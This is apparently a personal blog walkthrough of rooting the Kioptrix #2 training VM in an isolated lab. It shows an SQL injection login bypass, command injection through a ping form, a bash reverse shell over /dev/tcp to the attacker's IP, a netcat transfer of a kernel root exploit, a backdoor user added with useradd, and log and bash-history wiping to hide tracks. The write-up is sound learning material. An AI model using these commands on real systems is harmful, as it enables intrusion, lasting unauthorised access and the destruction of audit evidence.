Disclosure:

I’m not yet fully done with this review as there are more vulnerabilities to exploit.


 

 

Welcome to my review(s) of the Kioptrix VM series. If you haven’t read my review of Kioptrix #1 you can find it here.

If you are coming here straight from Google or any other search-engine in hope of finding a quick and easy way of pwn:ing the machine, then turn back now. Remember, #TryHarder!

However, if you have already solved it or you want to learn more about the machine and it’s attack surface – or if you just want to learn how I attacked it, then feel free to read to your heart’s content. I’ll try to be as techincally detailed as possible for you people who might be new to the field (as am I!).

What is Kioptrix #2?

As mentioned above the Kioptrix are a series of vulnerable virtual machines of varying difficulty. Generally speaking they serve as a good entry point for aspiring testers, like me.

Now let’s try to be more specific about Kioptrix #2 and the assignment.

Our job is the same as in Kioptrix #1; to gain root access on the machine through nearly all means. The only thing we can’t do is attack the virtualization software (in my case VMWare workstation) or the image itself. Anything else goes!

The attack

As with Kioptrix #1 I’m running two machines (Kali – attacker and Kioptrix #2 – target) over a virtualized LAN in VMWare Workstation. Make sure this LAN is isolated from the internet as the Kioptrix box is vulnerable!

I also want to point out that I’m using “The Five phases of a penetration test” (Reconnaissance, Scanning, Gaining access, Maintaining Access, Covering your tracks) in this review. This is to get an idea of how an actual attack would occur and to formalize my pattern accordingly. The end of each phase and the beginning of the next will be marked with a horizontal line as such:


Cleaning up your fingerprint:

In my previous blogpost about Kioptrix #1 I covered a really basic way of hiding our digital fingerprint, in that case how to mask your MAC address so that it’s more difficult to track you.

I also mentioned how it might be relevant to use proxies to hide your IP when attacking something online; which we aren’t doing this time (as our target is on our LAN).

But if you want to learn about this, you can find it here.

Note: This step actually is part of the last step – ‘Covering your tracks’. But we want to hide our identity as much as possible before our attack, since we have to do less cleaning up afterwards!

Reconnaissance:

In this step we want to learn as much as we want about the target, like its IP-address, what OS it’s running, open ports and what services are running under them. In other words we want to learn about its vulnerabilities, or in our words – its attack surface.

This step is closely tied with the next (‘Scanning’), so the line is quite blurred as to when this step starts and the next finishes. So I usually say that this step handles the most important part of our planning; what the target’s IP-address is.

As we did on the previous machine we simply run a netdiscover, a clever command that through an ARP-request maps each device connected to a target (in this case our router, by default) to an IP-address. It’s important to note that already at this stage the target would most likely be logging your prodding, so if you haven’t hidden you MAC-address it could be showing up.

Here is what happens when I run the command

kali-2017-02-05-18-47-19

So looking at the output and knowing my own IP-address I can judge that .136 is my target. A simple ping to it shows this to be true.

At this point we have the target. Now it’s time to start finding if there are any weaknesses.


Scanning:

As mentioned in the previous step the line between this and ‘Reconnaissance’ is quite blurred. It’s difficult to know when scanning should start. However I believe that ‘Scanning’ starts when you have established what the target’s outmost surface is. In our case we need to know the IP of the machine to start doing anything else as it doesn’t have anything else (like a domain name or similar) that we can attack.

In this step we should start establishing the attack-surface of the machine. (Remember to escalate your scans, don’t go in guns blazing!!).

I will be running a simple nmap -sS -n 192.168.47.136 . This quite simply put will return a list of what ports are opened on the machine, but not much more. The more aggressive (loud) you are, the more you will get to know about the target. But you will also be more likely to get detected by firewalls or other preventative software.

If you don’t understand or know what nmap does, I suggest you either check its manual using man nmap or read up online. To give a very brief introduction to it I’d say that it sends (SYN) packets to various ports that usually are open and looks for their responses. Depending on how loud you are, you would be receiving different packets (of varying length), the louder, the longer.

This is how it looks when I run my command against Kioptrix #2 (192.168.47.136):

kali-2017-02-05-19-10-18

As you can see I’m getting the bare necessities for me to formulate an attack. But before I decide to escalate my scanning I’ll see what I can do with what I’ve been given (as you will see, it is more than enough to gain root access!).

There are one thing in particular that really stood out to me; the fact that 3306 was open. Meaning that there was a database (or multiple) running in the background that we could potentially exploit.

Note: If you don’t know too much about nmap and have too little time to check out the sources I linked, at least check this out. It’s an explanation of the options used when scanning kioptrix #1.


Gaining Access:

When analysing the nmap output we can also see that the target has port 80 open, which means it’s likely that there might be a website hosted on the target. So let’s have a look!

Open a browser of your choice and enter the IP-address of your target. That should show you this:

kali-2017-02-05-19-22-59

So at this point we know two very important things; we know there is a database and we know that there is a login-form hosted on the target. Is it likely that they are connected? Yes, very likely.

But before we attempt to do any SQL-injection I want to see if there are any noticable vulnerabilities in index.php. So I check the source code (again, think about escalation):
kali-2017-02-05-19-32-16

After looking at the source we can see that there is very little we can actually exploit. So what about SQL injection?

What is a SQL injection?

SQL (Standard Query Language) is a very common commercial scripting language to handle databases. One of the most common actions to perform on a database is to get data from it. This is done via an action called SELECT. A very common mis-use of SQL is when you don’t perform any sort of sanitation of input between a form and the code going into your database, meaning that some websites might be vulnerable to an SQL injection. In its absolutely most basic form these queries work with equivalence, checking if one field exists in a particular table.

Look at this SELECT-statement: SELECT id FROM users WHERE username = x and password = y
This is generally how a very basic statement (action) would look. You are simply asking for the ID of the user whoose username is x and password is y. If a user with that combination doesn’t exist, the table would return nothing. If it does exist, that user’s ID would be returned to it.

Now that we have covered the absolute basics we change the query to how it might look for this particular form:
SELECT id FROM users where username = '$user' AND password = '$psw'

In PHP (remember, the form is part of a webpage called index.php, clearly indicating that it’s a .php-file!) you would get the value of a  by referrencing it with the $ as a prefix.
If this input hasn’t been sanitized we can basically do whatever we want in the username input field (or in the password field). Meaning that if I write ' OR 1=1 -- in ‘username’ the query would look like this:
SELECT id FROM users WHERE username = '' OR 1=1 -- password = '' .

Consider how this actually is interpreted by SQL. It returns an ID from the table users where username is ” OR where 1=1. The last part ‘--‘comments out the last part (password = ”), meaning that part isn’t included in the query.
So how likely is it that there is a user with an empty username? Probably quite unlikely. But more importantly, we know that 1=1. So we will definitely get something back from the query if it’s not sanitized!

In the most basicly scripted login forms you would check if the return (the ID in this case) isn’t nothing and then redirect the user to a specified form. If the returned ID is nothing, you will stay on the page.

So let’s try writing ' 1=1 -- in the Username input-field and clicking login.

BAM. It turns out that we actually could use SQL injection to login.

We now have access to the administration web console:

kali-2017-02-05-20-11-10

As it clearly states we can ping any machine on the network, so let’s try it out by pinging our attacker by writing its IP-address and submitting the form.
You should be seeing something like this:

kali-2017-02-05-20-14-20

Sweet. We know that the console actually performs a ping, most likely through a bash-script or a child-process. So I’ll try it again, but this time using the && ls separator. This basically tells the script to perform the left-hand command (the ping) and the right hand side command (ls, lists all the files in its current directory). This is what I can see:

kali-2017-02-05-20-21-43

AWESOME! We now know that the form is vulnerable to Command Injection.
So let’s try the same command, but instead of the && we use ;. This separator tells bash to only execute the right command. So now we should only get the list back.

At this point we have basic access to the target’s terminal. One thing we can assume at this point is that we might be able to get Reverse Shell access to the machine.

So let’s start by starting a NetCat(nc): nc -lvp 443 (we are using port 443 because it’s already open, see the nmap output from above!). This is what the options do:

    • -l

Listen. Opens a TCP socket that listens for incoming traffic. If a socket is sent to the open port, a connection is established. This connection is then used to send input (stdin) from the keyboard of the listening-party.

    • -v

Verbose. Shows you more information of in this case a connection (like what the IP of the connecting party is).

    • -p

Port. Specifies what port (in our case) we are listening to.

So, we are now listening to port 443. It’s time to see if we can actually gain Reverse Shell access by sending a TCP packet through the vulnerable form by using (in my case) bash -i >& /dev/tcp/192.168.47.135/443 0>&1 .

You should be happily surprised to see something similar to this welcoming you in your terminal:

kali-2017-02-05-20-55-53

It turns out we now have basic terminal (shell) access to the machine. Next step would be to gain root priviliges by some fun Privilige Escalation.

Start by checking who we are by using uname -a
And you should see what version of Linux we are running, which would show that Kioptrix is running: Linux version 2.6.9-55.EL.

Next up is a quick Google search to find if there are any particular weaknesses with the particular Linux version. It turns out that a common weakness in the version is the ring0 (9479.c) exploit. So let’s find it in our local exploitdb by using
searchsploit kernel 2.6 linux local | sort -n This returns all exploitable weaknesses in the Linux 2.6 kernel, sorted by name. There are a few of them, right? Makes you think how many levels of stupid you need to be to use that version… :c
Or you can use: searchsploit 9479.c to find the particular exploit.

So we now have the exploit’s PATH (/usr/share/exploitdb/platforms/linux/local/9479.c).
Time to transfer it to the target.
Run nc -lvp 443 < /usr/share/exploitdb/platforms/linux/local/9479.c
(Explanation) This time around we are setting up NetCat to listen to port 443, but also telling NetCat to transfer the exploit (9479.c) if a connection is established.
Next we need to establish a connection between the attacker and the target:

; /usr/local/bin/nc 192.168.47.135 443 > /tmp/pwn.c

(Explanation) This way we are simply telling the target to NetCat to connect to the attacker (change the IP to your attacking machine’s IP) using port 443. We are also telling the machine to send the output of NetCat (remember, NetCat transfers sockets, like a chat) to the file pwn.c in the directory /tmp/.

When you run it you should see this in your terminal (the listener):

kali-2017-02-05-21-38-36

If you change your directory in the bash-terminal to /tmp/ (cd /tmp/) and check the files in it (ls) you should see pwn.c lying there, waiting for you. Let’s check if it has all the code in it still cat pwn.c . Seems fine, right?
Now we need to compile the file using gcc pwn.c -o pwnit , it should compile fine and give you another file in your directory called pwnit.
Finally it’s try to see if our exploit gives will work. Use ./pwnit and you will get a pleasant surprise:

kali-2017-02-05-21-43-54

There you have it. We now have root access!


Maintaining access:

This is a bit more simple than in Kioptrix #1 where I had to set the PATH variables for useradd.

In this case we have access to useradd straight away, so let’s add a new user useradd jbk and then add a password to it passwd.

BAM, persistant access!!!! 😀


Covering your tracks:

Let’s up the ante this time around and actually clear some logs and other things!

Starting with apache logs I’ll check what the output of the log is to not neccessarily leave any fingerprints behind by deleting it unneccessarily: cat /var/log/httpd/apache_log
kali-2017-02-05-22-13-06

So I’m clearly present in the .log-file. Let’s change that by running bash -c 'echo "Nothing to see here, I promise" > /var/log/httpd/access_log'. Now run another cat to see what the content of the .log-file is:

kali-2017-02-05-22-19-18

And now I’m gone. That’s some Houdini shit going on there, isn’t it? Quite simple really, I’m telling bash to (-c) clear the file before appending it with the echo.

We also know we have run quite a few bash commands, so if we run history in the terminal we should see the bash history:

kali-2017-02-05-22-21-26

So we should clear this too. So much to do, so little time… :/
Run history -cw and that should come back clear and nice for you.

Last thing we are going to do is clear the apache bash (the reverse shell) history. So type exit to leave the root shell and run a history -cw in the reverse shell too.

Now the machine should be somewhat clean and you shouldn’t be on some government’s list.

Thanks for this time and tune in for Kioptrix #3 next week! 🙂